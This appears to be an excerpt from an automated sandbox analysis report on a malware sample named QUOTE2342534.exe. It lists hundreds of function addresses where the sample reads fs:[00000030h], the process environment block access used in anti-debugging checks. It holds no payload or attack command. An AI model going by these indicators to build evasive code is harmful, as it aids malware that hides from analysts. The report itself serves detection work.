Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173E3F0 mov eax, dword ptr fs:[00000030h]	4_2_0173E3F0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173E3F0 mov eax, dword ptr fs:[00000030h]	4_2_0173E3F0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173E3F0 mov eax, dword ptr fs:[00000030h]	4_2_0173E3F0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017563FF mov eax, dword ptr fs:[00000030h]	4_2_017563FF
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017303E9 mov eax, dword ptr fs:[00000030h]	4_2_017303E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017303E9 mov eax, dword ptr fs:[00000030h]	4_2_017303E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017303E9 mov eax, dword ptr fs:[00000030h]	4_2_017303E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017303E9 mov eax, dword ptr fs:[00000030h]	4_2_017303E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017303E9 mov eax, dword ptr fs:[00000030h]	4_2_017303E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017303E9 mov eax, dword ptr fs:[00000030h]	4_2_017303E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017303E9 mov eax, dword ptr fs:[00000030h]	4_2_017303E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017303E9 mov eax, dword ptr fs:[00000030h]	4_2_017303E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE3DB mov eax, dword ptr fs:[00000030h]	4_2_017CE3DB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE3DB mov eax, dword ptr fs:[00000030h]	4_2_017CE3DB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE3DB mov ecx, dword ptr fs:[00000030h]	4_2_017CE3DB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE3DB mov eax, dword ptr fs:[00000030h]	4_2_017CE3DB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C43D4 mov eax, dword ptr fs:[00000030h]	4_2_017C43D4
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C43D4 mov eax, dword ptr fs:[00000030h]	4_2_017C43D4
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DC3CD mov eax, dword ptr fs:[00000030h]	4_2_017DC3CD
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0172A3C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0172A3C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0172A3C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0172A3C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0172A3C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A3C0 mov eax, dword ptr fs:[00000030h]	4_2_0172A3C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017283C0 mov eax, dword ptr fs:[00000030h]	4_2_017283C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017283C0 mov eax, dword ptr fs:[00000030h]	4_2_017283C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017283C0 mov eax, dword ptr fs:[00000030h]	4_2_017283C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017283C0 mov eax, dword ptr fs:[00000030h]	4_2_017283C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A63C0 mov eax, dword ptr fs:[00000030h]	4_2_017A63C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01718397 mov eax, dword ptr fs:[00000030h]	4_2_01718397
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01718397 mov eax, dword ptr fs:[00000030h]	4_2_01718397
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01718397 mov eax, dword ptr fs:[00000030h]	4_2_01718397
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171E388 mov eax, dword ptr fs:[00000030h]	4_2_0171E388
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171E388 mov eax, dword ptr fs:[00000030h]	4_2_0171E388
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171E388 mov eax, dword ptr fs:[00000030h]	4_2_0171E388
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174438F mov eax, dword ptr fs:[00000030h]	4_2_0174438F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174438F mov eax, dword ptr fs:[00000030h]	4_2_0174438F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D0274 mov eax, dword ptr fs:[00000030h]	4_2_017D0274
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01724260 mov eax, dword ptr fs:[00000030h]	4_2_01724260
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01724260 mov eax, dword ptr fs:[00000030h]	4_2_01724260
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01724260 mov eax, dword ptr fs:[00000030h]	4_2_01724260
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171826B mov eax, dword ptr fs:[00000030h]	4_2_0171826B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171A250 mov eax, dword ptr fs:[00000030h]	4_2_0171A250
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726259 mov eax, dword ptr fs:[00000030h]	4_2_01726259
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DA250 mov eax, dword ptr fs:[00000030h]	4_2_017DA250
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DA250 mov eax, dword ptr fs:[00000030h]	4_2_017DA250
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A8243 mov eax, dword ptr fs:[00000030h]	4_2_017A8243
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A8243 mov ecx, dword ptr fs:[00000030h]	4_2_017A8243
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171823B mov eax, dword ptr fs:[00000030h]	4_2_0171823B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017302E1 mov eax, dword ptr fs:[00000030h]	4_2_017302E1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017302E1 mov eax, dword ptr fs:[00000030h]	4_2_017302E1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017302E1 mov eax, dword ptr fs:[00000030h]	4_2_017302E1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0172A2C3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0172A2C3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0172A2C3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0172A2C3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172A2C3 mov eax, dword ptr fs:[00000030h]	4_2_0172A2C3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017302A0 mov eax, dword ptr fs:[00000030h]	4_2_017302A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017302A0 mov eax, dword ptr fs:[00000030h]	4_2_017302A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B62A0 mov eax, dword ptr fs:[00000030h]	4_2_017B62A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B62A0 mov ecx, dword ptr fs:[00000030h]	4_2_017B62A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B62A0 mov eax, dword ptr fs:[00000030h]	4_2_017B62A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B62A0 mov eax, dword ptr fs:[00000030h]	4_2_017B62A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B62A0 mov eax, dword ptr fs:[00000030h]	4_2_017B62A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B62A0 mov eax, dword ptr fs:[00000030h]	4_2_017B62A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E284 mov eax, dword ptr fs:[00000030h]	4_2_0175E284
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E284 mov eax, dword ptr fs:[00000030h]	4_2_0175E284
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A0283 mov eax, dword ptr fs:[00000030h]	4_2_017A0283
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A0283 mov eax, dword ptr fs:[00000030h]	4_2_017A0283
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A0283 mov eax, dword ptr fs:[00000030h]	4_2_017A0283
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175656A mov eax, dword ptr fs:[00000030h]	4_2_0175656A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175656A mov eax, dword ptr fs:[00000030h]	4_2_0175656A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175656A mov eax, dword ptr fs:[00000030h]	4_2_0175656A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01728550 mov eax, dword ptr fs:[00000030h]	4_2_01728550
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01728550 mov eax, dword ptr fs:[00000030h]	4_2_01728550
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730535 mov eax, dword ptr fs:[00000030h]	4_2_01730535
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730535 mov eax, dword ptr fs:[00000030h]	4_2_01730535
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730535 mov eax, dword ptr fs:[00000030h]	4_2_01730535
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730535 mov eax, dword ptr fs:[00000030h]	4_2_01730535
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730535 mov eax, dword ptr fs:[00000030h]	4_2_01730535
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730535 mov eax, dword ptr fs:[00000030h]	4_2_01730535
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E53E mov eax, dword ptr fs:[00000030h]	4_2_0174E53E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E53E mov eax, dword ptr fs:[00000030h]	4_2_0174E53E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E53E mov eax, dword ptr fs:[00000030h]	4_2_0174E53E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E53E mov eax, dword ptr fs:[00000030h]	4_2_0174E53E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E53E mov eax, dword ptr fs:[00000030h]	4_2_0174E53E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B6500 mov eax, dword ptr fs:[00000030h]	4_2_017B6500
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F4500 mov eax, dword ptr fs:[00000030h]	4_2_017F4500
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F4500 mov eax, dword ptr fs:[00000030h]	4_2_017F4500
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F4500 mov eax, dword ptr fs:[00000030h]	4_2_017F4500
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F4500 mov eax, dword ptr fs:[00000030h]	4_2_017F4500
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F4500 mov eax, dword ptr fs:[00000030h]	4_2_017F4500
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F4500 mov eax, dword ptr fs:[00000030h]	4_2_017F4500
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F4500 mov eax, dword ptr fs:[00000030h]	4_2_017F4500
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017225E0 mov eax, dword ptr fs:[00000030h]	4_2_017225E0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0174E5E7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0174E5E7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0174E5E7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0174E5E7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0174E5E7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0174E5E7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0174E5E7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0174E5E7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175C5ED mov eax, dword ptr fs:[00000030h]	4_2_0175C5ED
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175C5ED mov eax, dword ptr fs:[00000030h]	4_2_0175C5ED
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017265D0 mov eax, dword ptr fs:[00000030h]	4_2_017265D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A5D0 mov eax, dword ptr fs:[00000030h]	4_2_0175A5D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A5D0 mov eax, dword ptr fs:[00000030h]	4_2_0175A5D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E5CF mov eax, dword ptr fs:[00000030h]	4_2_0175E5CF
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E5CF mov eax, dword ptr fs:[00000030h]	4_2_0175E5CF
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017445B1 mov eax, dword ptr fs:[00000030h]	4_2_017445B1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017445B1 mov eax, dword ptr fs:[00000030h]	4_2_017445B1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A05A7 mov eax, dword ptr fs:[00000030h]	4_2_017A05A7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A05A7 mov eax, dword ptr fs:[00000030h]	4_2_017A05A7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A05A7 mov eax, dword ptr fs:[00000030h]	4_2_017A05A7
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E59C mov eax, dword ptr fs:[00000030h]	4_2_0175E59C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01722582 mov eax, dword ptr fs:[00000030h]	4_2_01722582
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01722582 mov ecx, dword ptr fs:[00000030h]	4_2_01722582
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01754588 mov eax, dword ptr fs:[00000030h]	4_2_01754588
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174A470 mov eax, dword ptr fs:[00000030h]	4_2_0174A470
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174A470 mov eax, dword ptr fs:[00000030h]	4_2_0174A470
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174A470 mov eax, dword ptr fs:[00000030h]	4_2_0174A470
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AC460 mov ecx, dword ptr fs:[00000030h]	4_2_017AC460
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DA456 mov eax, dword ptr fs:[00000030h]	4_2_017DA456
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171645D mov eax, dword ptr fs:[00000030h]	4_2_0171645D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174245A mov eax, dword ptr fs:[00000030h]	4_2_0174245A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E443 mov eax, dword ptr fs:[00000030h]	4_2_0175E443
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E443 mov eax, dword ptr fs:[00000030h]	4_2_0175E443
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E443 mov eax, dword ptr fs:[00000030h]	4_2_0175E443
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E443 mov eax, dword ptr fs:[00000030h]	4_2_0175E443
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E443 mov eax, dword ptr fs:[00000030h]	4_2_0175E443
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E443 mov eax, dword ptr fs:[00000030h]	4_2_0175E443
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E443 mov eax, dword ptr fs:[00000030h]	4_2_0175E443
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175E443 mov eax, dword ptr fs:[00000030h]	4_2_0175E443
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A430 mov eax, dword ptr fs:[00000030h]	4_2_0175A430
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171E420 mov eax, dword ptr fs:[00000030h]	4_2_0171E420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171E420 mov eax, dword ptr fs:[00000030h]	4_2_0171E420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171E420 mov eax, dword ptr fs:[00000030h]	4_2_0171E420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171C427 mov eax, dword ptr fs:[00000030h]	4_2_0171C427
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A6420 mov eax, dword ptr fs:[00000030h]	4_2_017A6420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A6420 mov eax, dword ptr fs:[00000030h]	4_2_017A6420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A6420 mov eax, dword ptr fs:[00000030h]	4_2_017A6420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A6420 mov eax, dword ptr fs:[00000030h]	4_2_017A6420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A6420 mov eax, dword ptr fs:[00000030h]	4_2_017A6420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A6420 mov eax, dword ptr fs:[00000030h]	4_2_017A6420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A6420 mov eax, dword ptr fs:[00000030h]	4_2_017A6420
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01758402 mov eax, dword ptr fs:[00000030h]	4_2_01758402
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01758402 mov eax, dword ptr fs:[00000030h]	4_2_01758402
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01758402 mov eax, dword ptr fs:[00000030h]	4_2_01758402
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017204E5 mov ecx, dword ptr fs:[00000030h]	4_2_017204E5
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017544B0 mov ecx, dword ptr fs:[00000030h]	4_2_017544B0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AA4B0 mov eax, dword ptr fs:[00000030h]	4_2_017AA4B0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017264AB mov eax, dword ptr fs:[00000030h]	4_2_017264AB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DA49A mov eax, dword ptr fs:[00000030h]	4_2_017DA49A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01728770 mov eax, dword ptr fs:[00000030h]	4_2_01728770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01730770 mov eax, dword ptr fs:[00000030h]	4_2_01730770
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720750 mov eax, dword ptr fs:[00000030h]	4_2_01720750
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762750 mov eax, dword ptr fs:[00000030h]	4_2_01762750
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762750 mov eax, dword ptr fs:[00000030h]	4_2_01762750
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AE75D mov eax, dword ptr fs:[00000030h]	4_2_017AE75D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A4755 mov eax, dword ptr fs:[00000030h]	4_2_017A4755
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175674D mov esi, dword ptr fs:[00000030h]	4_2_0175674D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175674D mov eax, dword ptr fs:[00000030h]	4_2_0175674D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175674D mov eax, dword ptr fs:[00000030h]	4_2_0175674D
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175273C mov eax, dword ptr fs:[00000030h]	4_2_0175273C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175273C mov ecx, dword ptr fs:[00000030h]	4_2_0175273C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175273C mov eax, dword ptr fs:[00000030h]	4_2_0175273C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179C730 mov eax, dword ptr fs:[00000030h]	4_2_0179C730
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175C720 mov eax, dword ptr fs:[00000030h]	4_2_0175C720
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175C720 mov eax, dword ptr fs:[00000030h]	4_2_0175C720
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720710 mov eax, dword ptr fs:[00000030h]	4_2_01720710
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01750710 mov eax, dword ptr fs:[00000030h]	4_2_01750710
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175C700 mov eax, dword ptr fs:[00000030h]	4_2_0175C700
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017247FB mov eax, dword ptr fs:[00000030h]	4_2_017247FB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017247FB mov eax, dword ptr fs:[00000030h]	4_2_017247FB
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017427ED mov eax, dword ptr fs:[00000030h]	4_2_017427ED
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017427ED mov eax, dword ptr fs:[00000030h]	4_2_017427ED
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017427ED mov eax, dword ptr fs:[00000030h]	4_2_017427ED
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017AE7E1 mov eax, dword ptr fs:[00000030h]	4_2_017AE7E1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172C7C0 mov eax, dword ptr fs:[00000030h]	4_2_0172C7C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A07C3 mov eax, dword ptr fs:[00000030h]	4_2_017A07C3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017207AF mov eax, dword ptr fs:[00000030h]	4_2_017207AF
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017D47A0 mov eax, dword ptr fs:[00000030h]	4_2_017D47A0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C678E mov eax, dword ptr fs:[00000030h]	4_2_017C678E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01752674 mov eax, dword ptr fs:[00000030h]	4_2_01752674
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E866E mov eax, dword ptr fs:[00000030h]	4_2_017E866E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E866E mov eax, dword ptr fs:[00000030h]	4_2_017E866E
